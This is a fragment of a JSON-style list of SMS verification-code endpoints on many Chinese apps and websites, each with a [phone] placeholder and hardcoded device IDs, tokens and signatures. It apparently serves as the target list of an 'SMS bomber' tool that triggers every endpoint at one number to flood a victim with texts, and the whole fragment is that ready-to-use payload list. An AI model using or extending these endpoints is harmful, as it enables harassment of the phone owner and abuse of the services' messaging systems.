\"https://api.guanggao.com/user/sendcheckcode?mobile=[phone]&amp;val=&amp;type=0&amp;platform=Android\",\n    \"https://api.intsig.net/user/cs/send_emailsms_with_verify?account=[phone]&amp;account_type=mobile&amp;area_code=86&amp;client_app=CamScanner_IP_FREE%405.12.1.1907311855&amp;device_id=4f06e7989623c84b4c88dddc46724ea2&amp;language=zh-cn&amp;type=login_via_vcode\",\n    \"https://api.intsig.net/user/cs/send_emailsms_with_verify?account=[phone]&amp;account_type=mobile&amp;area_code=86&amp;client_app=CamScanner_IP_FREE@5.12.1.1907311855&amp;device_id=4f06e7989623c84b4c88dddc46724ea2&amp;language=zh-cn&amp;type=login_via_vcode\",\n    \"https://api.julym.com/hz/api.html?number=[phone]\",\n    \"https://api.passport.pptv.com/snsms/sendcode?_source=ppsports&amp;apptype=android&amp;appversion=1.0.7.1&amp;deviceId=7433976558071546231901338_vx768bn3ieimjk1n3g5opc7w&amp;terminal=APP&amp;phoneNumber=[phone]&amp;channel=208000202030&amp;format=json&amp;\",\n    \"https://api.passport.pptv.com/snsms/sendcode?_source=ppsports&apptype=android&appversion=1.0.7.1&deviceId=7433976558071546231901338_vx768bn3ieimjk1n3g5opc7w&terminal=APP&phoneNumber=[phone]\",\n    \"https://api.pkg.cn/api/sms/codeaccNbr=[phone]\",\n    \"https://api.rrsjk.com/oauth2/sms/send_vertify_code.do?mobile=[phone]&amp;captcha=&amp;captcha_id=\",\n    \"https://api.sharkshopping.com/ec/api?method=b2c.member2.related_sms&amp;uname=[phone]&amp;type=1\",\n    \"https://api.sharkshopping.com/ec/api?method=b2c.member2.related_sms&uname=[phone]\",\n    \"https://api.taoelement.vip/account/sms/sms/captcha/[phone]\",\n    \"https://api.taoelement.vip/account/sms/sms/captcha/[phone]/mineTker\",\n    \"https://api.taoelement.vip:443/account/sms/sms/captcha/[phone]\",\n    \"https://api.taoelement.vip:443/account/sms/sms/captcha/[phone]/mineTker\",\n    \"https://api.wanwudezhi.com/module-user/api/v1/user/sendSmsCode?phone=[phone]\",\n    \"https://apis.hyguanjia.com/user/send/phone/code?clientid=1254299999&amp;mid=1E0D9617-438F-4A0D-BED0-AEB20FF19A50&amp;phone=[phone]&amp;sign=jBvhDrZ6SlcNzwkCx6SIhwkLtCZZ1GCCjvPj%24%24QD8balMbMtSRigOLwJkGjU%40%40PIsjj1rTgAEWBZDHlnw3%40%40Yrg9qGdwvb5Qv4euoCCHNExqXAGhb\",\n    \"https://apis.hyguanjia.com/user/send/phone/code?clientid=1254299999&amp;mid=1E0D9617-438F-4A0D-BED0-AEB20FF19A50&amp;phone=[phone]&amp;sign=jBvhDrZ6SlcNzwkCx6SIhwkLtCZZ1GCCjvPj%2524%2524QD8balMbMtSRigOLwJkGjU%2540%2540PIsjj1rTgAEWBZDHlnw3%2540%2540Yrg9qGdwvb5Qv4euoCCHNExqXAGhb\",\n    \"https://apis.hyguanjia.com/user/send/phone/code?clientid=1254299999&mid=1E0D9617-438F-4A0D-BED0-AEB20FF19A50&phone=[phone]\",\n    \"https://app-api.shop.ele.me/arena/invoke/?method=OpenAPIRegisterService.sendVerifyCode&site_id=gw_Cloudgame&geetest_challenge=&geetest_validate=&geetest_seccode=&reportData=number=[phone]\",\n    \"https://app.api.ke.com/user/account/sendverifycodeforbindmobilev2?mobile_phone_no=[phone]\",\n    \"https://app.api.ke.com/user/account/sendverifycodeforbindmobilev2?mobile_phone_no=[phone]&amp;request_ts=1564116332\",\n    \"https://app.api.lianjia.com/user/account/sendVerifyCodeForRegisterV2?mobile_phone_no=[phone]\",\n    \"https://app.api.lianjia.com/user/account/sendVerifyCodeForRegisterV2?mobile_phone_no=[phone]&amp;request_ts=1564114069\",\n    \"https://app.aplum.com/user/sendmsg?fromApp=1&amp;phone=[phone]\",\n    \"https://app.aplum.com/user/sendmsg?fromApp=1&phone=[phone]\",\n    \"https://app.fangzongguan.com/fangmaster/v4.2/client/quick/user/sendCode?_token=eC1fn3C3WKrzkaIYM2EUYw%3D%3D&amp;phone=[phone]&amp;tag=yhoQ9arXKRk3AqpwPGwklOAb/ghFcjxlx0uZNXuiOhXg6sItA%2BuIMWLFLQzyVfRCP1db%2B11CZSVvwzQvNR8xKgpkH2h9VTHRHAPTgHMWw6q5e1SYTdcMB4er6KEEPEDzFU2yJ3N\",\n    \"https://app.fangzongguan.com/fangmaster/v4.2/client/quick/user/sendCode?_token=eC1fn3C3WKrzkaIYM2EUYw%3D%3D&phone=[phone]\",\n    \"https://app.fangzongguan.com/fangmaster/v4.2/client/quick/user/sendCode?_token=eC1fn3C3WKrzkaIYM2EUYw==&amp;phone=[phone]&amp;tag=yhoQ9arXKRk3AqpwPGwklOAb/ghFcjxlx0uZNXuiOhXg6sItA+uIMWLFLQzyVfRCP1db+11CZSVvwzQvNR8xKgpkH2h9VTHRHAPTgHMWw6q5e1SYTdcMB4er6KEEPEDzFU2yJ3N\",\n    \"https://app.fangzongguan.com/fangmaster/v4.2/client/quick/user/sendCode?_token=eC1fn3C3WKrzkaIYM2EUYw==&phone=[phone]\",\n    \"https://app.leyou.com.cn/system/sendSms?mobile=[phone]&amp;sign=fb0a624aade8b0e135196025cbc191c2&amp;transtype=reg_m\",\n    \"https://app.quyiyuan.com/APP/user/action/LoginAction.jspx?APPOINT_SOURCE=0&CHANNEL_ID=&IMEI_ID=3ECFD13A-235B-47A9-A9E1-F4DCC64D360F&PHONEOPERATINGSYS=2&PHONETYPE=iPhone8,1&PHONEVERSIONNUM=12.4.1&PHONE_NUMBER=[phone]\",\n    \"https://app.quyiyuan.com/APP/user/action/LoginAction.jspx?APPOINT_SOURCE=0&amp;CHANNEL_ID=&amp;IMEI_ID=3ECFD13A-235B-47A9-A9E1-F4DCC64D360F&amp;PHONEOPERATINGSYS=2&amp;PHONETYPE=iPhone8,1&amp;PHONEVERSIONNUM=12.4.1&amp;PHONE_NUMBER=[phone]&amp;PUBLIC_SERVICE_TYPE=0&amp;hospitalID=&amp;isRead=1&amp;loc=c&amp;\",\n    \"https://app.webuy.ai/greatsale/user/sendAuthCode?mobile=[phone]\",\n    \"https://app.zhuanzhuan.com/zz/transfer/getCaptcha?type=1&mobile=[phone]\",\n    \"https://appapi.51job.com/api/user/get_verification_type.php?mobilephone=[phone]\",\n    \"https://appapi.51job.com/api/user/get_verification_type.php?mobilephone=[phone]&amp;nation=CN&amp;type=0&amp;format=json&amp;guid=56fa5d7a032a8190dd9844ebaa211181&amp;partner=237b12de4c48eacec5a368eb192c3c5e&amp;productname=51job&amp;uuid=e7ab248c2ba73cb851a1eb31aa138695&amp;version=869\",\n    \"https://appapi.che168.com/phone/v55/user/CreateRegLoginMobileCode.ashx?_appid=2scapp.ios&_sign=bd185e04d8bdb0422467b0f95f828b49&appversion=7.7.0&channelid=App%20Store&ip=192.168.43.151&mobile=[phone]\",\n    \"https://appapi.che168.com/phone/v55/user/CreateRegLoginMobileCode.ashx?_appid=2scapp.ios&_sign=bd185e04d8bdb0422467b0f95f828b49&appversion=7.7.0&channelid=AppStore&ip=192.168.43.151&mobile=[phone]\",\n    \"https://appapi.che168.com/phone/v55/user/CreateRegLoginMobileCode.ashx?_appid=2scapp.ios&amp;_sign=bd185e04d8bdb0422467b0f95f828b49&amp;appversion=7.7.0&amp;channelid=App Store&amp;ip=192.168.43.151&amp;mobile=[phone]&amp;udid=5WklXEFrvscsddZR8s3TrLI45Bg0YEW9MkEFqRLSrR1ZKpY81h2wTw8pEHBo\",\n    \"https://appapi.che168.com/phone/v55/user/CreateRegLoginMobileCode.ashx?_appid=2scapp.ios&amp;_sign=bd185e04d8bdb0422467b0f95f828b49&amp;appversion=7.7.0&amp;channelid=App%20Store&amp;ip=192.168.43.151&amp;mobile=[phone]&amp;udid=5WklXEFrvscsddZR8s3TrLI45Bg0YEW9MkEFqRLSrR1ZKpY81h2wTw8pEHBo\",\n    \"https://appapi.moretickets.com/userapi/pub/v1_1/send_sms_for_regist?cellphone=[phone]\",\n    \"https://appapi.moretickets.com/userapi/pub/v1_1/send_sms_for_regist?cellphone=[phone]&amp;code=&amp;isSupportSession=1&amp;src=ios&amp;token=5d3fa06f6d96f74c953459ba&amp;ver=5.1.2\",\n    \"https://appbackend.pohoocredit.com/pro-kuaixin-app-backend/app/user/captcha?mobile=[phone]\",\n    \"https://appv2.lygou.cc/loyouser/getBindCode?appfrom=203&amp;appver=3.2.2&amp;identity=%2B86[phone]&amp;platform=2&amp;realVer=3.2.2&amp;region=zh-CN&amp;time_zone=28800&amp;type=0&amp;unlogin_token=724767db76a9c95e817d0101be771480&amp;version_code=138\",\n    \"https://appv2.lygou.cc/loyouser/getBindCode?appfrom=203&appver=3.2.2&identity=%2B86[phone]\",\n    \"https://babyheartapi.ihealthbaby.cn/BabyheartServer/sms/sendMessage?sendType=1&amp;smsType=1&amp;tel=[phone]\",\n    \"https://babyheartapi.ihealthbaby.cn/BabyheartServer/sms/sendMessage?sendType=1&smsType=1&tel=[phone]\",\n    \"https://bea.sportq.com/SFitWeb/sfit/getNeceData?form.accessToken=&amp;form.acquisitionMode=5&amp;form.device=2e18c9d9f73c9c9f619fce23cf4039eb2748c334cb8d43c31521caee0ad92c4c&amp;form.isBuild=0&amp;form.mySex=&amp;form.phoneModel=iPhone8%2C1&amp;form.phoneNumber=[phone]&amp;form.phoneType=1&amp;fo\",\n    \"https://bea.sportq.com/SFitWeb/sfit/getNeceData?form.accessToken=&amp;form.acquisitionMode=5&amp;form.device=2e18c9d9f73c9c9f619fce23cf4039eb2748c334cb8d43c31521caee0ad92c4c&amp;form.isBuild=0&amp;form.mySex=&amp;form.phoneModel=iPhone8,1&amp;form.phoneNumber=[phone]&amp;form.phoneType=1&amp;fo\",\n    \"https://bea.sportq.com/SFitWeb/sfit/getNeceData?form.accessToken=&form.acquisitionMode=5&form.device=2e18c9d9f73c9c9f619fce23cf4039eb2748c334cb8d43c31521caee0ad92c4c&form.isBuild=0&form.mySex=&form.phoneModel=iPhone8%2C1&form.phoneNumber=[phone]\",\n    \"https://bea.sportq.com/SFitWeb/sfit/getNeceData?form.accessToken=&form.acquisitionMode=5&form.device=2e18c9d9f73c9c9f619fce23cf4039eb2748c334cb8d43c31521caee0ad92c4c&form.isBuild=0&form.mySex=&form.phoneModel=iPhone8,1&form.phoneNumber=[phone]\",\n    \"https://cap.caocaokeji.cn/bps/sendVerifyCode/2.0?appCode=2WZ2JRQR708W&amp;appVersion=4.3.2&amp;buildVersion=192&amp;clientType=1&amp;deviceId=5C351103-F887-4932-BC59-58C75875EFDE&amp;fullVersion=4.3.2.192&amp;isJailBreak=0&amp;mobileType=ios&amp;phone=[phone]&amp;sign=FB3ED4C94F2877A29366F19C4A7CED68\",\n    \"https://cap.caocaokeji.cn/bps/sendVerifyCode/2.0?appCode=2WZ2JRQR708W&appVersion=4.3.2&buildVersion=192&clientType=1&deviceId=5C351103-F887-4932-BC59-58C75875EFDE&fullVersion=4.3.2.192&isJailBreak=0&mobileType=ios&phone=[phone]\",\n    \"https://card.10010.com/ko-order/messageCaptcha/send?phoneVal=[phone]\",\n    \"https://cfapi.yaomengwang.cn/local/v1/account/regist/sms?mobile=[phone]\",\n    \"https://class.hujiang.com/classtopic/handler/phonecaptcha?areaID=87051&amp;phoneNumber=[phone]\",\n    \"https://class.hujiang.com/classtopic/handler/phonecaptcha?areaID=87051&amp;phoneNumber=[phone]&amp;IsAutoReg=true&amp;TopicID=94149&amp;IsPreview=false&amp;__r=1542430774915\",\n    \"https://class.hujiang.com/classtopic/handler/phonecaptcha?areaID=87051&phoneNumber=[phone]\",\n    \"https://client.cangshuyuedu.com/api/Sys/SendSmsAuthCode?callback=jQuery111009421744498287961_1580993309090&amp;pType=4&amp;app_version=2.0.7&amp;pkgname=com.yokong.bookfree&amp;channel_id=1&amp;device_id=f75c53c90f4a6635d5f6c7136120154d&amp;mob=[phone]&amp;platform=IOS&amp;uid=0&amp;token=bfd31758556\",\n    \"https://client.cangshuyuedu.com/api/Sys/SendSmsAuthCode?callback=jQuery111009421744498287961_1580993309090&pType=4&app_version=2.0.7&pkgname=com.yokong.bookfree&channel_id=1&device_id=f75c53c90f4a6635d5f6c7136120154d&mob=[phone]\",\n    \"https://client.uqbike.com/sms/sendAuthCode.do?accountId=5&amp;phone=[phone]\",\n    \"https://client.uqbike.com/sms/sendAuthCode.do?accountId=5&phone=[phone]\",\n    \"https://cloud.haoyunbang.cn/user/sms/send?mobile=[phone]\",\n    \"https://cloud.haoyunbang.cn/user/sms/send?mobile=[phone]&amp;appId=ios_15196397349756&amp;t=1565073179646&amp;sign=70723c9c61730237de0b97a02395e103\",\n    \"https://cloud.nucarf.com/rest/querySmsCode?phoneNum=[phone]\",\n    \"https://consumer.fcbox.com/v1/account/sendCode?mobile=[phone]\",\n    \"https://consumer.fcbox.com:443/v1/account/sendCode?mobile=[phone]\",\n    \"https://dakaapp.troila.com/api/v7/index/send_sms?phone=[phone]\",\n    \"https://dakaapp.troila.com/api/v7/index/send_sms?phone=[phone]&amp;expect=0\",\n    \"https://dakaapp.troila.com:443/api/v7/index/send_sms?phone=[phone]\",\n    \"https://dakaapp.troila.com:443/api/v7/index/send_sms?phone=[phone]&amp;expect=0\",\n    \"https://dappweb.huolala.cn/index.php?_su=1609554659540820860&amp;revision=&amp;_m=register&amp;_a=send_register_sms_code&amp;phone_no=[phone]\",\n    \"https://ddt.zoosnet.net/lr/sendnote160711.aspx?tel=[phone]\",\n    \"https://doctor.helianhealth.com/api/v3/auth/common/getSMScode?cellphone=[phone]&amp;sign=d821db6c5629ea532b9f8ff95e39e952&amp;smsType=1&amp;timestamp=1568266253&amp;type=1\",\n    \"https://donutenglish.koolearn.com/api/message/send_vcode?callback=jQuery111009421744498287961_1580993309090&amp;use=5&amp;sign=1CE8E4BE7B71ABA57CBF20762AF78A0C&amp;mobile=[phone]&amp;app_id=29&amp;_=1580993309093\",\n    \"https://donutenglish.koolearn.com/api/message/send_vcode?callback=jQuery111009421744498287961_1580993309090&use=5&sign=1CE8E4BE7B71ABA57CBF20762AF78A0C&mobile=[phone]\",\n    \"https://eapi.huolala.cn/?_m=account&_a=sms_code&args=%7B%22phone_no%22%3A%22[phone]\",\n    \"https://edu.10086.cn/sso/sendSmsMsg&do=get_vcode&user_mobile=[phone]\",\n    \"https://esx.3z.cc/index.php?tp=api/send_sms&amp;device_type=iPhone 6s&amp;uid=0&amp;op=reg&amp;appid=6&amp;imei=5C351103-F887-4932-BC59-58C75875EFDE&amp;t=1566798214&amp;pt=2&amp;sign=8737393a0d7dffc46883c5226d482194&amp;ver=1.2.1&amp;phone=[phone]\",\n    \"https://esx.3z.cc/index.php?tp=api/send_sms&amp;device_type=iPhone%206s&amp;uid=0&amp;op=reg&amp;appid=6&amp;imei=5C351103-F887-4932-BC59-58C75875EFDE&amp;t=1566798214&amp;pt=2&amp;sign=8737393a0d7dffc46883c5226d482194&amp;ver=1.2.1&amp;phone=[phone]\",\n    \"https://esx.3z.cc/index.php?tp=api/send_sms&device_type=iPhone%206s&uid=0&op=reg&appid=6&imei=5C351103-F887-4932-BC59-58C75875EFDE&t=1566798214&pt=2&sign=8737393a0d7dffc46883c5226d482194&ver=1.2.1&phone=[phone]\",\n    \"https://esx.3z.cc/index.php?tp=api/send_sms&device_type=iPhone6s&uid=0&op=reg&appid=6&imei=5C351103-F887-4932-BC59-58C75875EFDE&t=1566798214&pt=2&sign=8737393a0d7dffc46883c5226d482194&ver=1.2.1&phone=[phone]\",\n    \"https://exmail.qq.com/cgi-bin/bizmail_portal?action=send_sms&amp;type=11&amp;t=biz_rf_portal_mgr&amp;ef=jsnew&amp;resp_charset=UTF8&amp;area=86&amp;mobile=[phone]\",\n    \"https://exmail.qq.com/cgi-bin/bizmail_portal?action=send_sms&amp;type=11&amp;t=biz_rf_portal_mgr&amp;ef=jsnew&amp;resp_charset=UTF8&amp;area=86&amp;mobile=[phone]&amp;img_vc=\",\n    \"https://exmail.qq.com/cgi-bin/bizmail_portal?action=send_sms&type=11&t=biz_rf_portal_mgr&ef=jsnew&resp_charset=UTF8&area=86&mobile=[phone]\",\n    \"https://flights.sichuanair.com/3uair/ibe/profile/processSendSMSNew.do?ConversationID=&amp;smsType=REGISTER&amp;mobilePhone=[phone]&amp;verkey=MOBILELOGIN\",\n    \"https://flights.sichuanair.com/3uair/ibe/profile/processSendSMSNew.do?ConversationID=&smsType=REGISTER&mobilePhone=[phone]&verkey=MOBILELOGIN\",\n    \"https://fudao.qq.com/cgi-proxy/common_func/send_sms_code?phone=[phone]\",\n    \"https://gongdu.youshu.cc/m/sign/msg?callback=jQuery111009421744498287961_1580993309090&amp;nonce=18907&amp;mobile=[phone]&amp;os=ios&amp;timestamp=1569225015&amp;type=mobile&amp;soft=5.4.2&amp;_=1580993309101\",\n    \"https://gongdu.youshu.cc/m/sign/msg?callback=jQuery111009421744498287961_1580993309090&nonce=18907&mobile=[phone]\",\n    \"https://graph.3vjia.com/captcha/mobile/REG/[phone]\",\n    \"https://graph.3vjia.com/captcha/mobile/reg/[phone]?moblieImgCaptcha=\",\n    \"https://gwbk.zhongan.com/dmapiv2/za-dm-insure/dm/user/sendSMGCode?mobilePhone=[phone]&from=web\",\n    \"https://gwc.drugs360.cn/index.php?r=UserCenter/getCellphoneCode&amp;type=4&amp;cellphone=[phone]&amp;city=%E9%87%8D%E5%BA%86%E5%B8%82&amp;lat=29.593100&amp;lng=106.291519&amp;version=6.1&amp;os=ios&amp;auth=1&amp;sign=1ae1dda00913d0707905455258cd5045\",\n    \"https://gwc.drugs360.cn/index.php?r=UserCenter/getCellphoneCode&amp;type=4&amp;cellphone=[phone]&amp;city=重庆市&amp;lat=29.593100&amp;lng=106.291519&amp;version=6.1&amp;os=ios&amp;auth=1&amp;sign=1ae1dda00913d0707905455258cd5045\",\n    \"https://gwc.drugs360.cn/index.php?r=UserCenter/getCellphoneCode&type=4&cellphone=[phone]\",\n    \"https://h5.youzan.com/usercenter/member/member/mobilesmscode.json?kdt_id=19161003&amp;mobile=[phone]&amp;verify_times=1\",\n    \"https://happy.mail.10086.cn/jsp/cn/club/login/smscode.do?r=0.24631415040371842&amp;usermobile=[phone]\",\n    \"https://happy.mail.10086.cn/jsp/cn/club/login/smscode.do?r=0.24631415040371842&usermobile=[phone]\",\n    \"https://hdgateway.zto.com/auth_account_sendLoginOrRegisterSmsVerifyCode?mobile=[phone]\",\n    \"https://helper.2bulu.com/sendValidateCode?p_userId=0&amp;p_productType=0&amp;p_terminalType=2&amp;p_appVersion=6.1.0&amp;mobileNumber=[phone]&amp;unique=1&amp;areaCode=86\",\n    \"https://helper.2bulu.com/sendValidateCode?p_userId=0&p_productType=0&p_terminalType=2&p_appVersion=6.1.0&mobileNumber=[phone]\",\n    \"https://host.convertlab.com/sms/get?mobile=[phone]&amp;name=Convertlab&amp;token=4080fdef3cb44298852d226af95b2502&amp;type=form&amp;uuid=4a48dbfe8e1d49ab87715d2ed8e6e79d\",\n    \"https://host.convertlab.com/sms/get?mobile=[phone]&name=Convertlab&token=4080fdef3cb44298852d226af95b2502&type=form&uuid=4a48dbfe8e1d49ab87715d2ed8e6e79d\",\n    \"https://host.convertlab.com/sms/get?mobile=[phone]&name=Convertlab&token=bdfa0471b3354eba9d5a424121bdf37c&type=form&uuid=4a48dbfe8e1d49ab87715d2ed8e6e79d\",\n    \"https://host.convertlab.com/sms/token?mobile=[phone]\",\n    \"https://id.ifeng.com/api/simplesendmsg?comefrom=38&amp;msgtype=0&amp;auth=&amp;mobile=[phone]\",\n    \"https://id.ifeng.com/api/simplesendmsg?comefrom=38&msgtype=0&auth=&mobile=[phone]\",\n    \"https://id.seewo.com/api/recordSEM?systemCode=care&amp;appVersion=%E5%B8%8C%E6%B2%83%E5%AD%A6%E9%99%A2SEM&amp;actionType=1111004&amp;channelName=care&amp;deviceId=&amp;_=1547004660553&amp;userId=[phone]\",\n    \"https://id.seewo.com/api/recordSEM?systemCode=care&amp;appVersion=希沃学院SEM&amp;actionType=1111004&amp;channelName=care&amp;deviceId=&amp;_=1547004660553&amp;userId=[phone]\",\n    \"https://idecoration.ikongjian.com/user/fetchCode?&amp;deviceId=7676F5C4-1919-4FC8-9436-BBFD5BE87482&amp;mobile=[phone]&amp;type=1&amp;token=YzVkMGVlYWMtZTU4My00MTc2LWJkMzYtZGZlMWRjODgwYjBkZDBiMDg4Y2QxZWZkLTYzZGItNjcxNC0zODVlLWNhZWUwZDVj\",\n    \"https://idecoration.ikongjian.com/user/fetchCode?&deviceId=7676F5C4-1919-4FC8-9436-BBFD5BE87482&mobile=[phone]\",\n    \"https://iguanyu.com/gywebsite/common/sendVerificationCode?phone=[phone]\",\n    \"https://im.molinsoft.com/validate.jsp?randromid=0.2002692325464066mobileNumber=[phone]\",\n    \"https://iosapi.shixiseng.com/app/telrandcode?sign=6F4C6784400B289D3B0BC2742D704E59&amp;tel=[phone]&amp;time=1564926500.453583&amp;type=reg\",\n    \"https://jdapi.jd100.com/uc/v1/getSMSCode?account=[phone]\",\n    \"https://jdapi.jd100.com/uc/v1/getSMSCode?account=[phone]&amp;sign_type=1&amp;use_type=1\",\n    \"https://jdapi.jd100.com/uc/v1/getSMSCode?account=[phone]&sign_type=1&use_type=1\",\n    \"https://jdapi.jd100.com:443/uc/v1/getSMSCode?account=[phone]\",\n    \"https://jiameng.baidu.com/portal/com/captcha?ajax=1&device=pc[phone]\",\n    \"https://jjy.3g.fang.com/httpclient/agentservice.jsp?groupFlag=ESF&amp;messagename=jjy_getPassportandCustomerIds&amp;phone=[phone]&amp;wirelesscode=57b34f0c5725ee3d9e76c2619c394ae8\",\n    \"https://john.ixiaolu.com/account/check_account_name?ab_ver=A&amp;account_name=86-[phone]&amp;app_channel=&amp;device=iPhone8%2C1&amp;device_id=5C351103-F887-4932-BC59-58C75875EFDE&amp;login_user_id=0&amp;pcid=ae1895f8187711a6bf727e6d14b0588d&amp;phone_sn=9e633777bc1a27c4cb826b1a4c6309dd34eb80\",\n    \"https://john.ixiaolu.com/account/check_account_name?ab_ver=A&amp;account_name=86-[phone]&amp;app_channel=&amp;device=iPhone8,1&amp;device_id=5C351103-F887-4932-BC59-58C75875EFDE&amp;login_user_id=0&amp;pcid=ae1895f8187711a6bf727e6d14b0588d&amp;phone_sn=9e633777bc1a27c4cb826b1a4c6309dd34eb80\",\n    \"https://ka.niwodai.com/loans-mobile/validatecode.do?method=refresh&date=1557210332912interval=60&phone=[phone]\",\n    \"https://kaojiazhao.eclicks.cn/xc_v1/Enroll/create_code?driving_cert_type=1&_cityCode=023&tel=[phone]\",\n    \"https://kaojiazhao.eclicks.cn/xc_v1/Enroll/create_code?driving_cert_type=1&amp;_cityCode=023&amp;tel=[phone]&amp;learn_stage=0&amp;appChannel=App Store&amp;cUDID=5C351103-F887-4932-BC59-58C75875EFDE&amp;lng=106.2849618867906&amp;appVersion=7.5.3&amp;que_city_id=27&amp;os=iOS&amp;enr_city_id=75&amp;openUDID\",\n    \"https://kaojiazhao.eclicks.cn/xc_v1/Enroll/create_code?driving_cert_type=1&amp;_cityCode=023&amp;tel=[phone]&amp;learn_stage=0&amp;appChannel=App%20Store&amp;cUDID=5C351103-F887-4932-BC59-58C75875EFDE&amp;lng=106.2849618867906&amp;appVersion=7.5.3&amp;que_city_id=27&amp;os=iOS&amp;enr_city_id=75&amp;openUDID\",\n    \"https://khweb.easec.com.cn:12203/nImgServlet?key=0.17275703431645484&funcNo=501520&op_source=3&flow_type=twvideo&ip=&mac=&verify_code=mobile_no=[phone]\",\n    \"https://live.weaver.com.cn/homepage/createCode2?jsonpcallback=jQuery11020786823554715125_1594648708687&phonenum=[phone]\",\n    \"https://logic-zone-10007.api.xlgxapp.com/315000/rider/api/v3/message/[phone]?event=OneKeyLogin\",\n    \"https://login-user.kugou.com/v1/send_sms_for_reg?appid=1014&amp;callback=GetSmsCodeCallbackFn&amp;v=1&amp;verifycode=&amp;ct=1546670699&amp;type=reg&amp;mid=07546126fef194aa4b29a5a80ec7a8d1&amp;kguser_jv=180925&amp;mobile=[phone]\",\n    \"https://login-user.kugou.com/v1/send_sms_for_reg?appid=1014&callback=GetSmsCodeCallbackFn&v=1&verifycode=&ct=1546670699&type=reg&mid=07546126fef194aa4b29a5a80ec7a8d1&kguser_jv=180925&mobile=[phone]\",\n    \"https://login.10086.cn/chkNumberAction.action?userName=[phone]\",\n    \"https://login.10086.cn/sendRandomCodeAction.action?userName=[phone]&amp;type=01&amp;channelID=12002\",\n    \"https://login.10086.cn/sendRandomCodeAction.action?userName=[phone]&type=01&channelID=12002\",\n    \"https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery1830021546042600087745_1584433571320&phone=[phone]\",\n    \"https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery183018066339418540722_1589810779142&amp;phone=[phone]&amp;nation=CN&amp;type=13&amp;from_domain=i&amp;verifycode=&amp;_=1589810786512\",\n    \"https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery183018066339418540722_1589810779142&phone=[phone]\",\n    \"https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery183018066339418540722_1589810779142&phone=[phone]&nation=CN&type=13&from_domain=i&verifycode=&_=1589810786512\",\n    \"https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery18303640777548241676_1579193274318&phone=[phone]\",\n    \"https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery18303956739664829656_1592495501835&amp;phone=[phone]&amp;type=5&amp;nation=CN&amp;from_domain=yjs_h5&amp;verifycode=&amp;_=1592495526803\",\n    \"https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery18303956739664829656_1592495501835&phone=[phone]&type=5&nation=CN&from_domain=yjs_h5&verifycode=&_=1592495526803\",\n    \"https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery18307610929541763114_1547125502231&amp;nation=CN&amp;type=5&amp;from_domain=i&amp;verifycode=&amp;_=1547125703761&amp;phone=[phone]\",\n    \"https://login.51job.com/ajax/sendphonecode.php?jsoncallback=jQuery18307610929541763114_1547125502231&nation=CN&type=5&from_domain=i&verifycode=&_=1547125703761&phone=[phone]\",\n    \"https://login.koolearn.com/sso/sendVoiceRegisterMessage.do?callback=jQuery111205661385064312077_1594952633553&amp;type=jsonp&amp;mobile=[phone]&amp;msgInterval=60&amp;imageCode=&amp;countryCode=86&amp;country=CN&amp;_=1594952633566\",\n    \"https://login.koolearn.com/sso/sendVoiceRegisterMessage.do?callback=jQuery111205661385064312077_1594952633553&type=jsonp&mobile=[phone]\",\n    \"https://login.koolearn.com/sso/sendVoiceRegisterMessage.do?callback=jQuery111205661385064312077_1594952633553&type=jsonp&mobile=[phone]&msgInterval=60&imageCode=&countryCode=86&country=CN&_=1594952633566\",\n    \"https://login.zbj.com/register/sendRegisterCode?sacc= [phone]\",\n    \"https://love.163.com/open/api/login/phone/checkStatus?86=areaCode&amp;phone=[phone]\",\n    \"https://love.163.com/open/api/login/phone/checkStatus?86=areaCode&phone=[phone]\",\n    \"https://m.300.cn/verify/message?is_ajax=1&amp;callback=jQuery19109805433584210501_1596669590055&amp;mobile=[phone]&amp;_=1596669590060\",\n    \"https://m.ceair.com/mobile/user/user-login!sendDistinctPwd.shtml?phoneNo=[phone]\",\n    \"https://m.ceair.com/mobile/user/user-login!sendDistinctPwd.shtml?phoneNo=[phone]&amp;apdToken=APDIDJS_donghang_3880391e1df5928e12b47ebf81c54a6a&amp;geetest_challenge=feb26c08395a9970e3e42026dfd4cb22&amp;geetest_validate=c286a97ff7ddf40bd37ddd8789a5642c&amp;geetest_seccode=c286a97f\",\n    \"https://m.exmail.qq.com/cgi-bin/sell_dependent?action=send_sms&amp;t=wap_official_mgr&amp;ef=jsnew&amp;type=6&amp;area=86&amp;mobile=[phone]&amp;r=0.6184749692742786\",\n    \"https://m.exmail.qq.com/cgi-bin/sell_dependent?action=send_sms&t=wap_official_mgr&ef=jsnew&type=6&area=86&mobile=[phone]&r=0.6184749692742786\",\n    \"https://m.health.pingan.com/mapi/smsCode.json?deviceId=5a4c935cbb6ff6ca&amp;deviceType=SM-G9300&amp;timestamp=1545122608&amp;app=0&amp;platform=3&amp;app_key=PAHealth&amp;osversion=23&amp;info=&amp;version=1.0.1&amp;resolution=1440x2560&amp;screenSize=22&amp;netType=1&amp;channel=m_h5&amp;phone=[phone]\",\n    \"https://m.health.pingan.com/mapi/smsCode.json?deviceId=5a4c935cbb6ff6ca&deviceType=SM-G9300&timestamp=1545122608&app=0&platform=3&app_key=PAHealth&osversion=23&info=&version=1.0.1&resolution=1440x2560&screenSize=22&netType=1&channel=m_h5&phone=[phone]\",\n    \"https://m.health.pingan.com:443/mapi/smsCode.json?deviceId=5a4c935cbb6ff6ca&amp;deviceType=SM-G9300&amp;timestamp=1545122608&amp;app=0&amp;platform=3&amp;app_key=PAHealth&amp;osversion=23&amp;info=&amp;version=1.0.1&amp;resolution=1440x2560&amp;screenSize=22&amp;netType=1&amp;channel=m_h5&amp;phone=[phone]\",\n    \"https://m.health.pingan.com:443/mapi/smsCode.json?deviceId=5a4c935cbb6ff6ca&deviceType=SM-G9300&timestamp=1545122608&app=0&platform=3&app_key=PAHealth&osversion=23&info=&version=1.0.1&resolution=1440x2560&screenSize=22&netType=1&channel=m_h5&phone=[phone]\",\n    \"https://m.jf.10010.com/wx006/jf-auth/wx/getCaptcha/[phone]\",\n    \"https://m.ke.qq.com/cgi-bin/tool/apply_sms_code?is_ios=0&amp;raw_phone=[phone]&amp;phone=[phone]&amp;national_code=86&amp;from=1&amp;bkn=1557826707&amp;_=1596758267792\",\n    